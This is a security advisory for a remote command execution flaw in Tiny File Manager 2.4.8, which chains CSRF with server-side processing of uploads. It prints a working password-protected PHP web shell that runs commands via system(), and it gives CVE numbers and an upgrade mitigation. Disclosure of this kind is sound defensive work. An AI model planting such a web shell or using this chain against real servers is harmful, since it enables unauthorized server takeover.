Tiny File Manager 2.4.8 - Remote Command Execution

Description

Version 2.4.8 of Tiny File Manager allows an unauthenticated remote attacker to execute arbitrary code remotely on the server. This is possible because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.

Vulnerability

This vulnerability occurs because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.

Exploitation

To exploit this vulnerability, the following file must be sent to the server as administrator (to achieve this I will abuse the CSRF present in the application).

exploit.php

<?php
 if($_POST && $_POST['password']==="AGSH635479302H235") {
 echo system($_POST['cmd']);
 }

Evidence of exploitation

Our security policy

We have reserved the CVE-2022-23044, the CVE-2022-45475, the CVE-2022-45476 to refer to this issue from now on. Disclosure policy

System Information

• Version: Tiny File Manager 2.4.8

• Operating System: GNU/Linux

Mitigation

An updated version of Tiny File Manager is available at the vendor page.

References

• Vendor page https://github.com/prasathmani/tinyfilemanager

• Release page https://github.com/prasathmani/tinyfilemanager/releases/tag/2.5.0